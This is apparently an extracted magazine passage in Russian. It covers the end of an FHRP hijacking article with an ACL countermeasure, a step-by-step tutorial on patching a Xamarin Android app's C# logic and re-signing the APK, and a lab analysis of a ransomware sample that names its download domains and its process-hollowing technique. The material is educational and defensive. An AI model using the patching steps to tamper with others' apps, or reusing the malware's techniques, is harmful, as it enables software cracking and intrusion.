R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик

по IP

R1(config)# interface GigabitEthernet0/0 # Входим в режим

конфигурации интерфейса

R1(config-if)# ip access-group DropHSRPv2 in # Привязываем

настроенный ACL к интерфейсу на IN

Во время­ настрой­ ки­ ACL используют­ ся­ обратные маски­ (Wild Card masks).

ЗАКЛЮЧЕНИЕ

Протоко­ лы­ класса­ FHRP помогают­ организо­ вать­ систему­ горячего­ резер ­ вирования­ шлюзов­ . Такие системы­ широко распростра­ нены­ в рамках­ рас ­ смотренно­ го­ нами кейса­ . Но теперь ты знаешь­ , что может произой­ ти­ с сетью, если инженер­ не позаботил­ ся­ о безопасности­ конфигура­ ции­ самих FHRPпротоко­ лов­ .

Кстати­ говоря, FHRP Hijacking может служить­ альтер­ ­нативой ARP-спуфин­ ­ гу. В сетях AD открывают­ ­ся все возможнос­ ­ти для Relay-атак и сбора­ информации­ , также­ можно­ реализовать­ фишинговые­ атаки­ и многое­ другое­ . Эта статья подска­ ­жет новые векторы­ атак для пентесте­ ­ров, а сетевые адми ­ нистра­ ­торы обзаведут­ ­ся новыми кейсами­ , чтобы­ повысить безопасность­ сво ­ ей сети.

ИЗУЧАЕМ И ВЗЛАМЫВАЕМ МОБИЛЬНОЕ ПРИЛОЖЕНИЕ НА С#

Попалось­ мне недавно­ в руки мобильное­ приложе­ ­ние для Android, которое работало­ не совсем­ так, как хотелось бы. Значит­ , нужно­ хорошенько­ покопаться­ в его потрошках­ !

Сказано­ — сделано­ : берем свежую­ версию­ GDA, открываем­ наш подопыт ­ ный APK и видим, что выглядит­ он как то уж слишком­ подозритель­ ­но. Классы­ всех activity содержат­ пример­ ­но одинако­ ­вый шаблонный­ код такого типа:

public class MainActivity extends BaseActivity

{

private ArrayList refList;

public static final String __md_methods;

static {

MainActivity.__md_methods = "n_onCreate:\(Landroid/os/

Bundle;\)V:GetOnCreate_Landroid_os_Bundle_Handler

.....

_ILandroid_os_Bundle_Handler:Android.Locations.

ILocationListenerInvoker, Mono.Android, Version=0.0.0.0,

Culture=neutral, PublicKeyToken=null\n";

Runtime.register("Megaprogram.Activity.MainActivity,

Megaprogram", MainActivity.class, MainActivity.__md_methods);

}

public void MainActivity(){

super();

if (this.getClass() == MainActivity.class) {

Object[] objArray = new Object[0];

TypeManager.Activate("Megaprogram.Activity.MainActivity,

Megaprogram", "", this, objArray);

}

return;

Это наводит на мысли­ , что нам попался­ неправиль­ ный­ APK. Возможно­ , какой то фреймворк­ ... Если поменять расширение­ .apk на .zip, то в глаза­ бросает­ ся­ необычная­ для обычных­ мобильных­ приложе­ ний­ папка­ assemblies, содержащая­ кучу DLL-библиотек­ .

Посколь­ ку­ многие­ библиоте­ ки­ содержат­ в названии­ слово­ Xamarin, ста ­ новится­ понятным­ , откуда­ взялось­ такое однообра­ зие­ , — основной код прог ­ раммы написан на С# и располага­ ется­ в библиоте­ ке­ DLL, а на Java написаны­ лишь шаблонные­ куски­ кода, предназна­ чен­ ные­ для связи­ между­ средой­ выполнения­ Mono и виртуаль­ ной­ машиной среды­ выполнения­ Android (ART).

Ну да ладно­ , в сторону­ теорию, пора браться­ за дело.

ВЫБИРАЕМ ИНСТРУМЕНТ

Для работы с .NET я использую­ три инстру­ ­мен­та.

1.dotPeek от JetBrains. Позволя­ ­ет декомпилиро­ ­вать и исследовать­ файлы­

.dll и .exe. У данного­ продук­ ­та самая, на мой взгляд, удобная­ навигация­ по декомпилиро­ ­ван­ному коду, так что, если говорить только­ об исследова­ ­ нии алгорит­ ­ма, этот инстру­ ­мент самый удобный­ .

Главное­ окно dotPeek

2. dnSpy — позволя­

ет­

декомпилиро­

вать­

, редактировать­

, компилиро­

вать­

и отлаживать­

сборки­

.NET. Следует­

отметить­ , что все функции­

, кроме­

декомпиляции­

, работают­ далеко не всегда­ , многое­ зависит от конкрет­

ной­

ситуации­

. В моем случае­

компиляция­

не заработала­

: софтина­

не смогла­

связать­

пространс­

тва­ имен Mono и Android.

Главное­ окно dnSpy

3.Simple-assembly-explorer — достаточ­ ­но старый­ , но от этого­ не утратив­ ­ший актуаль­ ­нос­ти софт. Позволя­ ­ет декомпилиро­ ­вать .dll и .exe в код на С#

или CIL (Common Intermediate Language — «высокоуров­ ­невый ассемблер­ »

виртуаль­ ­ной машины .NET. Промежу­ ­точ­ный язык, разработан­ ­ный фирмой­

Microsoft для платформы­ .NET Framework). Самая полезная­ воз ­

можность — этот инстру­ ­мент умеет­ компилиро­ ­вать код на CIL, что поз ­ воляет­ без особого­ труда­ вносить­ изменения­ в исследуемые­ файлы­ .

Главное­ окно Simple assembly explorer

Для распаков­ ки­ и запаковки­ APK я решил использовать­ 7z вместо­ стандар­ ­ тного­ для таких случаев­ apktool. Ниже я объясню­ почему.

РАЗБИРАЕМ APK

Сначала­ я попытался­ использовать­ для распаков­ ­ки APK известную­ программу­ apktool, но при запаковке­ возникла­ проблема­ из за того, что apktool «не зна ­ ет» такой тип файлов­ , как .dll, не считает­ его стандар­ ­тным для APK. Стан ­ дартны­ ­ми считают­ ­ся только­ файлы­ с именами­ из следующе­ ­го массива­ :

private final static String[] APK_STANDARD_ALL_FILENAMES = new String

[] {

"classes.dex", "AndroidManifest.xml", "resources.arsc", "res", "lib",

"libs", "assets", "META-INF" };.

При сборке­ APK все неизвес­ тные­ файлы­ сжимают­ ся­ (тип сжатия­ DEFLATED),

а Xamarin надеется­

увидеть­

свои DLL несжатыми­

(STORED) и от разочарова­

­

ния не может нормаль­

но­ прочитать­

их. Сначала­

возникла­

мысль исправить­

и пересобрать­

apktool, но потом я решил поступить­

проще­ : распаковы­

­вать

и запаковывать­

файлы­ обычным­

архивато­

­ром, без сжатия­ . Ведь декодирова­

­

ние манифеста­ или получение­

smali-кода мне в данной­

задаче не требует­

­ся,

а зачем тогда­ усложнять себе жизнь без необходимос­

ти­

?

Итак, распаковы­ ваем­ :

7z.exe x program.apk -oprogram_apk

После­ распаков­ ки­ , помимо привыч­ ных­ для APK файлов­ , получаем­ каталог assemblies с кучей dll. Из них нас интересу­ ет­ одна библиоте­ ка­ , имя которой совпада­ ет­ с именем­ приложе­ ния­ . Ее то мы и будем потрошить­ .

ПАТЧИМ .NET

Анализ­ DLL и поиск места­ для внесения­ правок­ выходит за рамки­ сегод ­ няшней статьи, так как мыслям­ на эту тему будет тесно­ даже в книге­ . Останов­ ­

люсь лишь на техничес­			­ких моментах­ . Как я писал выше, dnSpy отказал­ ­ся ком ­
пилировать­		исправленную­		библиоте­		­ку, поэтому­			пришлось­		прибег­ ­нуть
к помощи Simple-assembly-explorer (SAE).
Допус­ ­тим, нам необходимо­					, чтобы­	данная­		функция­		всегда­ возвра­ щала­
true:

protected bool IsOnline()

{

ConnectivityManager connectivityManager = (ConnectivityManager)

this.GetSystemService#0x0a0001d5("connectivity");

if (connectivityManager == null)

{

return false;

}

NetworkInfo activeNetworkInfo = connectivityManager.

get_ActiveNetworkInfo#0x0a0002ad();

return activeNetworkInfo != null && activeNetworkInfo.

get_IsConnected#0x0a0002ae();

}

Посколь­ ­ку правки­ можно­ вносить­ только­ в IL-код, в окне SAE переключа­ ­емся на вкладку­ Details, где наблюда­ ­ем такую картину­ :

0		L_0000:	ldarg.00
	1	L_0001:	ldstr		"connectivity"0
	2	L_0006:	callvirt		Java.Lang.Object Android.Content.
	Context::GetSystemService(System.String)0
	3	L_000b:	castclass		Android.Net.ConnectivityManager0
	4	L_0010:	stloc.00
	5	L_0011:	ldloc.00
	6	L_0012:	brtrue.s		9 -> ldloc.00
	7	L_0014:	ldc.i4.00
	8	L_0015:	ret0
	9	L_0016:	ldloc.00
	10	L_0017:	callvirt		Android.Net.NetworkInfo Android.
	Net.ConnectivityManager::get_ActiveNetworkInfo()0
	11	L_001c:	stloc.10
	12	L_001d:	ldloc.10
	13	L_001e:	brfalse.s		17 -> ldc.i4.00
	14	L_0020:	ldloc.10
	15	L_0021:	callvirt		System.Boolean Android.Net.
	NetworkInfo::get_IsConnected()0
	16	L_0026:	ret0
	17	L_0027:	ldc.i4.00
	18	L_0028:	ret0
Тут есть два пути.
	1. Подой­	­ти к делу	основатель­	но­ ,	фундамен­	таль­	но­ , изучить­	язык CIL

и написать необходимый­ код самостоятель­ ­но.

2.Написать­ нужную­ функцию­ на C# и скомпилиро­ ­вать в CIL, получив тем самым нужный­ код автомати­ ­чес­ки.

Явыбрал­ второй­ вариант­ — это гораздо­ быстрее­ . Более того, немножко­ погуглив­ , можно­ обнаружить­ очень полезный­ сайт sharplab.io, на котором весьма­ удобно­ конверти­ ­ровать код из C# в CIL.

Итак, вводим­ в левой вкладке­ следующее­ :

bool function() {

return true;

}

и справа­ среди­ кучи лишнего­ получаем­ :

IL_0000: nop0

IL_0001: ldc.i4.10

IL_0002: stloc.0

IL_0003: br.s IL_00050

IL_0005: ldloc.0

IL_0006: ret0

Вставляем­ полученный­ код в библиоте­ ку­ с помощью Simple assembly explorer, не забывая при этом сохранить­ изменен­ ную­ DLL. Если мы ничего не напутали­ и нигде­ не ошиблись­ , то пора собирать новый APK.

СОБИРАЕМ APK ОБРАТНО

Для сборки­ , как я уже писал выше, будем использовать­ 7z в режиме без сжа ­ тия. Полученный­ таким образом­ APK будет большего­ размера­ , чем исходный, ну да размер­ не главное­ :

7z.exe a -tzip -mx0 -r0 program_patched_unalign_unsigned.apk .\

program_apk\*.*

Неболь­ шое­ пояснение­ : -tzip — формат­ архива­ , -mx0 — отсутствие­ сжатия­ , - r0 — рекурсивный­ обход всех подкатало­ гов­ .

Да, перед сборкой­ лучше­ удалить­ каталог META-INF, содержащий­ старую­ подпись­ . Он не нужен, ведь нам придет­ ся­ подписывать­ APK самостоятель­ но­ . Затем нужно­ создать­ сертификат­ для подписи­ и поместить­ его в хранили­ ще­ . Если у тебя уже есть сертификат­ , то этот шаг можно­ пропус­ тить­ . Создаем­ сертификат­ с помощью утилиты­ keytool из состава­ JDK:

"c:\Android\Android Studio\jre\bin\keytool.exe" -genkey -v -keystore

keys.keystore -alias key -keyalg RSA -keysize 2048 -validity 10000

Она задаст стандар­ тные­ вопросы­ :

0

Enter keystore password:0 Re-enter new password:0

What is your first and last name?0 [Unknown]: x0

What is the name of your organizational unit?0 [Unknown]: x0

What is the name of your organization?0 [Unknown]: x0

What is the name of your City or Locality?0 [Unknown]: x0

What is the name of your State or Province?0 [Unknown]: x0

What is the two-letter country code for this unit?0 [Unknown]: x0

Is CN=x, OU=x, O=x, L=x, ST=x, C=x correct?0 [no]: yes

0

Generating 2 048 bit RSA key pair and self-signed certificate (SHA256withRSA) wi0

th a validity of 10 000 days0

for: CN=x, OU=x, O=x, L=x, ST=x, C=x0 [Storing keys.keystore]

0

Ну и после­ этого­ можно­ переходить­ к подписыва­ нию­ :

jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore

keys.keystore -signedjar program_pathed_unalign.apk

program_pathed_unalign_unsigned.apk key

В результате­ будет создан­ почти­ готовый к установ­ ке­ файл program_pathed_unalign.apk. «Почти­ » — потому что перед использовани­ ем­ его следует­ выровнять­ программой­ zipalign из состава­ build-tools SDK Android. Данная­ процеду­ ра­ гарантиру­ ет­ , что все несжатые­ файлы­ в архиве­ выровнены­ относитель­ но­ начала файла­ . Это позволя­ ет­ получить доступ­ к файлам­ нап ­ рямую, без необходимос­ ти­ копирования­ данных­ в ОЗУ, что уменьшит­ исполь ­ зование памяти твоим­ приложе­ нием­ .

Итак, ровняем­ :

zipalign.exe -v 4 program_pathed_unalign.apk program_pathed.apk

После­ этого­ можно­ смело­ устанав­ ливать­ программу­ на телефон или эмулятор­ и приступать­ к ее тестирова­ нию­ .

ВЫВОДЫ

Как видишь, Xamarin’овские сборки­ ничуть не сложнее­ для анализа­ , чем род ­ ные приложе­ ния­ ОС Android, надо лишь учесть некоторые­ тонкости­ при сбор ­

ке APK.

Вот несколь­ ­ко полезных­ ссылок­ , которые помогут тебе в работе с подобными­ приложе­ ­ниями:

•GDA

•dotPeek

•dnSpy

•SAE

•SDK Platform Tools

•Sharplab

•Zipalign

rayhunt454 grigadan454@gmail.com

УРОКИ ФОРЕНЗИКИ

В этой статье мы исследуем­ вредонос­ ный­ файл на примере­ лаборатор­ ной­ работы Ransomed с ресурса­ CyberDefenders. Мы научимся­ вручную­ распаковы­ вать­ код, определим­ тех ­ нику внедрения­ вредонос­ ной­ программы­ в процесс­ и отве ­ тим на ряд вопросов­ .

Нам предложен­ такой сценарий­ : организа­ цию­ взломали­ , команда­ SOC обна ­ ружила­ загружен­ ный­ исполняемый­ файл. Наша задача — исследовать­ его и разработать­ индикато­ ры­ компро­ мета­ ции­ для последу­ юще­ го­ детектирова­ ­ ния.

Иссле­ дова­ ние­ вредонос­ ного­ файла­ необходимо­ проводить­ в изолиро­ ван­ ной­ среде­ . Как создать­ лабораторию­ для анализа­ вредоно­ сов­ , подробно­ расска­ зано­ в статье «Код под надзором­ . Создаем­ виртуаль­ ную­ лабораторию­ для анализа­ малвари­ ».

Итак, загружа­ ем­ вредонос­ и начинаем­ его исследовать­ . По результатам­ решения кейса­ необходимо­ ответить­ на несколь­ ко­ вопросов­ , но я покажу, только­ как его решать, и не буду приводить­ ответы­ . Лучше­ повтори­ весь про ­ цесс самостоятель­ но­ , чтобы­ разобрать­ ся­ и закрепить­ материал­ .

ИНСТРУМЕНТАРИЙ

Для исследова­ ­ния вредонос­ ­ного файла­ восполь­ ­зуем­ся следующим­ софтом­ .

1.DIE — программа­ для определе­ ­ния типов файлов­ .

2.PeStudio — программа­ для поиска­ артефак­ ­тов исполняемых­ файлов­ .

3.IDA Pro — интерак­ ­тивный дизассем­ ­блер, используемый­ для реверс инжи ­ ниринга­ .

4.Wireshark — инстру­ ­мент для анализа­ сетевого­ трафика­ .

5. Burp Suite — использует­ ся­ в качестве­					прозрачно­			го­ прокси­ сервера­
	с целью анализа­		взаимо­ дей­ ствия­	вредонос­		ного­	файла­ по протоко­		лу­
	HTTPS.

6.Loki Scanner — сканер­ IOCs.

7.YaraEditor — программа­ для тестирова­ ­ния и создания­ правил­ YARA.

8.ApiLoger — утилита­ для анализа­ вызываемых­ WinAPI-функций­ исследуемо­ ­ го вредоно­ ­са.

9.x64dbg — отладчик с открытым­ исходным кодом для Windows, предназна­ ­ ченный­ для анализа­ вредонос­ ­ных программ­ .

Анализи­ ровать­ вредонос­ ный­ модуль мы будем в четыре этапа­ :

1.Статичес­ кий­ анализ­ .

2.Поведен­ ческий­ анализ­ .

3.Динами­ чес­ кий­ анализ­ .

4.Создание­ индикато­ ров­ компро­ мета­ ции­ .

СТАТИЧЕСКИЙ АНАЛИЗ

В первую­ очередь­ получим MD5-хеш сумму­ исполняемо­ го­ файла­ и проверим­

ее на VirusTotal. По MD5 a2f33095ef25b4d5b061eb53a7fe6548 VirusTotal выда ­

ет нам первичную­ информацию­ об исполня­ емом­ файле­ .

Далее­ скормим­ исследуемый­ файл утилите­ DIE и выясним­ , какой ком ­ пилятор и компонов­ щик­ использовал­ ся­ при создании­ вредоно­ са­ , а также­ определим­ , упакован­ он или нет.

Информа­ ция­ о компилято­ ре­ и компонов­ щике­

Итак, мы узнали­ , что вредонос­ ­ный модуль разработан­ на C/C++ и собран­ для 32-разрядных­ операци­ ­онных систем­ . DIE определя­ ­ет упаков­ ­щик с помощью загружен­ ­ных сигнатур­ , но идентифици­ ­ровать ручной­ упаков­ ­щик не позволя­ ­ет. Для этого­ необходимо­ посмотреть­ энтропию­ файла­ по сек ­ циям.

Что такое энтропия­ исполняемо­ го­ файла­ , расска­ ­ зано в статье «Энтро­ пия­ . Как хаос помогает­ искать вирусы».

Информа­ ция­ об энтропии­ исполняемо­ го­ файла­

Значение­ энтропии­ 7,677, значит­ , файл упакован­ . Из рисунка­ выше видно­ , что исследуемый­ файл имеет­ четыре секции­ , энтропия­ секции­ .text равна­ 7,844.

Загрузим­ файл в утилиту­ PeStudio, чтобы­ найти­ всевоз­ ­можные артефак­ ­ты. Нам интерес­ ­ны времен­ ­ные метки­ компиляции­ файла­ , загружа­ ­емые библиоте­ ­ ки, используемые­ ресурсы­ , информация­ о версии­ исполняемо­ ­го файла­ , характерные­ строки­ , а также­ отладоч­ ­ная информация­ и файл сборки­ (Manifest). Все это пригодит­ ­ся нам при создании­ файловой­ сигнатуры­ .

Отладоч­ ная­ информация­

Строка­ C:\moz\vidaj.pdb нам интерес­ ­на для создания­ правила­ детек ­ тирования­ . На данном­ этапе­ мы выяснили­ , что исполняемый­ файл упакован­ , и получили­ характерные­ строки­ .

Прежде­ чем приступить­ к динамичес­ ­кому анализу­ , изучим­ поведение­ вре ­ доносного­ модуля. На этом этапе­ выявим сетевое взаимо­ ­дей­ствие с управля ­ ющим сервером­ , а также­ используемые­ функции­ Windows API.

Запус­ тим­ утилиту­ INetSim в виртуаль­ ной­ машине Kali Linux. Также­ запус ­ тим Burp Suite для анализа­ взаимо­ дей­ ствия­ по HTTPS и будем слушать­ сетевой трафик­ взаимо­ дей­ ствия­ , используя­ Wireshark.

Запус­ ­тим Api Loger, выберем исполняемый­ файл chalenge.exe и начнем­ писать логи.

Вызыва­ емые­ Windows API функции­

Исполня­ ­емый файл использует­ функцию­ IsDebbugerPresent с целью анти ­ отладки. Далее запущенный­ процесс­ считыва­ ­ется с помощью функции­

ReadProcessMemory, функция­ VirtualAllocEx выделяет­ память и данные­ записывают­ ­ся в буфер в адресное пространс­ ­тво процес­ ­са WriteProcessMemory. Этот механизм похож на технику­ внедрения­ в процесс­

ProcessHollowing.

Теперь­ давай посмотрим­ на сетевой трафик­ .

Сетевое­ взаимо­ дей­ ствие­ вредонос­ ного­ модуля

Как видно­ из рисунка­ выше, исполняемый­ файл взаимо­ дей­ ству­ ет­ со сле ­

дующими­ доменами­ : api.2ip.ua, kotob.top, tzgl.org.

В Burp Suite видно­ взаимо­ ­дей­ствие по протоко­ ­лу HTTPS.

Запрос­ к api.2ip.ua

Запрос­ к tzgl.org

Для определе­ ния­ IP-адреса­ исполняемый­ файл делает­ запрос­ к https:// api.2ip.ua, а далее загружа­ ет­ с ресурса­ https://tzgl.org/files/1/

исполняемый­ файл build3.exe.

Как мы помним­ , в INetSim есть файлы­ заглушки­ . После­ запроса­ к tzgl.org загружен­ ­ный файл build3.exe запускает­ ­ся.

Запуск­

загружен­

ного­

файла­ build3.exe

Посколь­

ку­ мы собрали­

лабораторию­

для анализа­

вредонос­

ных­

файлов­ ,

в нашем случае­

загружа­

ется­

файл заглушка­

утилиты­

INetSim. Также­ обна ­

ружен HTTP-запрос­ к ресурсу­ tzgk.org.

HTTP-запрос­ к домену tzgk.org

Исполь­ зуя­ утилиту­ Process Hacker 2, рассмот­ рим­ поведение­ запущенного­ файла­ .

Дочер­ ние­ процес­ сы­ исполняемо­ го­ файла­ challenge.exe

Как видно­ из рисунка­ , процесс­ challenge.exe запускает­ дочерние­ процес­ ­сы build2.exe и build3.exe, которые, в свою очередь­ , запускают­ conhost.exe.

Далее­ происхо­ ­дит шифрование­ всех файлов­ , которым назнача­ ­ется рас ­ ширение .shgv. В конце­ каждого­ зашифрован­ ­ного файла­ хранит­ ­ся одинако­ ­ вая структура­ , в которой записаны­ идентифика­ ­тор и данные­ в формате­ base64.

Содер­ жимое­ зашифрован­ ного­ файла­

На данном­ этапе­ мы выявили­ сетевое взаимо­ дей­ ствие­ вредонос­ ного­ файла­ , а также­ обнаружи­ ли­ технику­ внедрения­ в процесс­ Process Hollowing.

Авторы­ вредоно­ са­ часто­ используют­ функции­ Windows API для выделения­ памяти, чтобы­ дальше­ загрузить­ в это место­ полезную­ нагрузку­ , которая будет распаковы­ вать­ исполняемый­ код. Значит­ , наша задача — обнаружить­ этот участок­ кода и выяснить­ , какие привиле­ гии­ ему выдавались­ . Далее мы будем шаг за шагом идти по коду в поисках­ функции­ распаков­ ки­ .

После­ загрузки­ файла­ нажимаем­ F9 и попадаем­ в точку­ входа­ исполня ­ емого­ файла­ .

Точка­ входа­

Нас интересу­ ­ет функция­ VirtualAlloc, основная задача которой — выделение­ памяти в адресном пространс­ ­тве процес­ ­са.

Для этого­ нажимаем­ Ctrl + G, набираем­ VirtualAlloc и переходим­ в этот участок­ кода.

Поиск­ функции­ VirtualAlloc

Ставим­ точку­ останова­ на входе­ в данную­ функцию­ (клавиша­ F2).

Точка­ останова­ на входе­ в функцию­ VirtualAlloc

Спускаем­ ся­ пошагово­ ниже (F8), находим участок­ выхода из данной­ функции­ и попадаем­ на следующий­ участок­ кода.

Участок­ кода передачи­ выполнения­ шелл коду

После­ выхода из функции­ VirtualAlloc в регистре­ EAX 029E0000 хранит­ ся­ адрес выделенной­ памяти. Затем функция­ call 2836512 записывает­ код в выделенное­ адресное пространс­ тво­ , инструк­ ция­ jmp dword ptr ss:[ebp- 4] использует­ ся­ для передачи­ выполнения­ в шелл код. Остановим­ ся­ на этой инструк­ ции­ , щелкнем­ правой­ кнопки­ мыши, выберем переход к карте­ памяти и посмотрим­ , какие права­ используют­ ся­ для выделенной­ памяти по адресу­ ss:[ebp-4].

Права­ доступа­ выделенного­ участка­ кода

Как видно­ из рисунка­ выше, в выделенной­ памяти установ­ ­лены права­ ERW на чтение­ , запись и выполнение­ . Далее мы попадаем­ в участок­ исполняемо­ ­го кода по адресу­ , выделенному­ с помощью функции­ Windows API

VirtualAlloc.

Участок­ шелл кода

Здесь вредонос­ ный­ код получает­ адреса­ функций­ в библиоте­ ках­ user32.dll, kernel32.dll, ntdll.dll.

Получе­ ние­ адресов­ используемых­ WinAPI-функций­ из библиотек­ user32, kernel32, ntdll

Продолжение статьи0 →